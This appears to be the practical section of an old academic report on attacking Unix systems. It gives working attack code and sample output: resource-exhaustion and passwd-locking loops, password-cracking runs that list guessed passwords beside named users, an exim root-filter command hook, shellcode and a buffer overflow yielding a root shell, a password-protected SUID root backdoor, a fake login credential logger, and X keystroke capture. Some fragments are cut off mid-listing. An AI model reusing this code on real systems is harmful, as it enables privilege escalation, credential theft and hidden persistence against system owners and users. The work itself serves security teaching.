Denial of Service attacks are the easiest of all the security problems to exploit. As an example of a DoS attack that uses up system resources, consider the following script:
./a& ./a
while true; do
find / -name "*" -print > /dev/null 2>&1 &
done
Another form of DoS we mentioned in the theoretical section is password file locking. This is probably the easiest of all DoS attacks, as it simply involves running the 'passwd' program and then ignoring it. When the password program is run, a file lock is created to prevent another user changing his password while another user is busy with the password file. This is a measure to prevent inconsistency of password data. It is on this fact that the password file locking attack works. By running the password program and never exiting it, we lock everyone else on the system out of the password file.
It may be that the administrator sees the file lock and decides to edit the password file by hand. The effect of our changing our password and exiting the password program is that whatever changes he made to the file will be lost. It may also be that the administrator sees that we are locking the password file, kills our 'passwd' process and removes the file lock. A simple script would frustrate his efforts, for a variable amount of time. The script runs an infinite loop running the 'passwd' program. With this script, when the running copy of 'passwd' exits, a new one will be started locking the password file again. The script looks as follows :
while true; do
passwd
done
There have been many password crackers that have been written and released out on the Internet. The infamous password cracker ``Crack'', available in Appendix A, written by Alec Muffett was one of the first publicly released password crackers. It therefore set the stage and standard for password crackers. Later releases of password crackers have claimed to be the faster or more efficient than their peers, and most notably Crack. A password cracker called ``John the Ripper'' (John) is gaining increasing popularity. It is capable of running either in brute-force or dictionary mode. It also runs on most platforms. We will use it as our example of a brute-force password cracker while using Crack for our dictionary attack on the password file.
The brute force mode of John is called incremental mode. In this mode, no dictionary is supplied. The attack starts from 'a' and works it way up, using some intelligence in the process. It is run as follows :
siviwe (password)
hu6hf5kf:aaaa:269:102:Anton Cloete:/home/hu6hf5kf:/bin/csh
7hdh4fhd:solder:347:102:Paul Sullivan:/home/7hdh4fhd:/bin/csh
j863hd8d:biteme:576:15:Justin Schwartz:/home/j863hd8d:/usr/bin/csh
Crack is an dictionary based password cracker with a lot of intelligence built into it. The intelligence is configurable by the user running the program. Crack reads from a file called ``Rules.mk'' how it is to modify dictionary words to more effectively guess passwords. Crack is comprised of a complex set of modules that are controlled from a shell script called ``Crack''. If it was not compiled for the architecture being run on, Crack compiles and links itself before starting the password cracking. New dictionaries/wordlists can be included by using one of the many included scripts. It may be run as follows:
907223217:Guessed dbrown [Joanne] David Andrew Brown [gauntlet /bin/bash]
907225598:Guessed mickey [m1ck3y] Michelle Miles [gauntlet /bin/bash]
907229096:Guessed masterx [jesus1] Harold Olukune [gauntlet /bin/bash]
907229244:Guessed root [bl4h] Sir Root [gauntlet /bin/bash]
907231810:Guessed arb [r3t1n4] Arbitrary User [gauntlet /bin/bash]
./Crack -mail gauntlet
Software is misconfigured either by mistake or in an attempt to fix something else. The programs that are most dangerous here are those that run with root privileges and may have some user participation. In our theoretical section, we mentioned such programs as the cron daemon and mail filters. It is possible to misconfigure the cron daemon not to drop root privileges when executing user crontabs. Such an act requires either skill in misconfiguring software or an active decision to change the workings of the daemons. It is still possible, however to perform such an action mistakenly.
The mail filter we shall consider is the exim mailer's built in mail filter. Exim is very strict on file and directory permissions and this is the cause of many a headache for the administrator. To be secure, exim is usually run as a user ``exim'' to prevent possible abuse of privilege when delivering mail. If this exim user is trying to deliver your mail and cannot get into your home directory to check your ``.forward'', he either assumes you do not have one or panics. In practice, it is usually the worst case scenario and users lose mail. To get around this problem, the administrator notices how well the filters and mail delivery work if he has the following lines in the configuration file :
exim_filter_user = "root"
^Subject:.*-=execute=-*
| /home/siviwe/bin/exescript
PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
COM=awk -F'^' '{printf("%s\n",$2)}'
SUB=`echo $COM`
$COM | /bin/mail -s"$SUB" siviwe@cs.ru.ac.za
In the theoretical discussion of buffer overflows, we saw that by modifying the return address we could run any code we wanted. We also mentioned that the code we would probably want to run is a shell. This ``shellcode'' is a simple piece of code, which is as follows:
2: void main()
3: { char *name[2];
4: name[0] = "/bin/sh";
5: name[1] = NULL;
6: execve(name[0], name, NULL);
7: }
The next bit of code that is needed is that for the exit() call. This is so that the program can ``exit cleanly'' even if the execve() call fails. A disassembled program with the exit call shows that exit():
As most of the buffers that will be overflowed are character/string buffers, the exploit code cannot contain NULL characters as these will signify the end of the string. The commonly used method of exploiting buffer overflows puts the shellcode at some relatively easily guessable part of memory and prepends it with NOPs. The buffer to be overflowed is then overflowed with memory references to the part of memory where the shellcode is thought to sit. The effect is that when RET is overwritten with this address, our shellcode will be executed. If we allocate enough memory for our shellcode, even if our estimation of the shellcode's address is incorrect, the address will probably point to a NOP. This means that execution will finally get to our shellcode. Sample shellcode is included in Appendix A.
In our discussion of the theoretical aspect of buffer overflows, it was noted that variables are referenced by their offsets from SP. To find the variable we want to overflow, it is therefore important that we know what the SP's address is. The offset of the variable we want to overflow is often not immediately accurately determinable. Finding this offset is therefore left to trial and error. A simple program which has an overflowable buffer is shown below:
void main(int argc, char *argv[])
{ char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
[ Address: 0xbffffbd9 Offset: 383 ]
[ Buffer size: 1024 Egg size: 2048 Aligment: 0 ]
[ Address: 0xbffffbd8 Offset: 384 ]
[ Buffer size: 1024 Egg size: 2048 Aligment: 0 ]
[ Address: 0xbffffbd7 Offset: 385 ]
[ Buffer size: 1024 Egg size: 2048 Aligment: 0 ]
[ Address: 0xbffffbd6 Offset: 386 ]
[siviwe@lucifer proj]# id
uid=500(siviwe) gid=500(siviwe) euid=0(root) groups=500(siviwe)
[siviwe@lucifer proj]#
SUID files, especially owned by root, are very dangerous to system security. If a SUID root file has a buffer that can be overflowed, it can be overflowed using the method described in section 3.2.4. If the overflow is successful, the exploit will yield a root privileged shell. A lot of holes in SUID files are published on the Internet, some even with exploits. Taking advantage of this may be as simple as merely finding the list of all SUID files on the system. This can be accomplished with the following command:
Backdoors and trojans are usually inserted in a privileged state, after the intrusion. The easiest way to set up a backdoor is to copy a shell into a system as root, and set its SUID flag. When the 'root shell' is executed, it will change the effective user ID (euid) and perhaps the effective group ID (egid) to root's (0). This means that the shell does not give full root privileges when run. Although this shell can be hidden inside several directories, if another user were to find it, he would be able to steal and/or use it. For this reason, most root shells created are usually password protected to prevent, rather paradoxically, unauthorized access. A C program is usually written to accomplish this purpose and that of awarding full root privileges when the program is run. It follows that this program has to be SUID root. A simple version of such a program follows:
2: #include <stdio.h>
3: #include <string.h>
4: void main(void)
5: { char password[10]="rootshell";
6: if (!strncmp(password,(const char *)getpass("Password:"),strlen(password))) {
7: setuid(0);
8: setgid(0);
9: system("/bin/bash");
}
}
There is a problem with the code above. Say we called the executable from such a program meroot. An administrator checking processes would see root running both '/bin/bash' and 'meroot'. A competent administrator would not take long to find 'meroot' and confirm that the system has been compromised. A simple change applied to the code would make the location of such a program a lot harder. The revision to the code requires a change to line 9 to :
Programs that pretend to be the login program are easily written either as scripts or as C programs. They only need to ask for a login and password, write the pair to a file and exit. A portion of the code might look as follows:
fgets(mystring,255,stdin);
mystring[strlen(mystring)-1] = '\0';
fprintf(myfile,"USER=%s, PASSWORD=",mystring);
strcpy(mystring,(char *)getpass("Password: "));
fprintf(myfile,"%s\n--------------\n",mystring);
If an open X display is found, a logging attempt is very easy. All that is needed is that the DISPLAY variable be set to the open X display's and the keystroke logging can begin. The program we will use to capture the keystrokes is called ``xkey'', and can be found in Appendix A. Our series of commands and sample output looks as follows:
[siviwe@lucifer]$ xhost
access control disabled, clients can connect from any host
[siviwe@lucifer]$ ./xkey
ps
w
fa^Hinger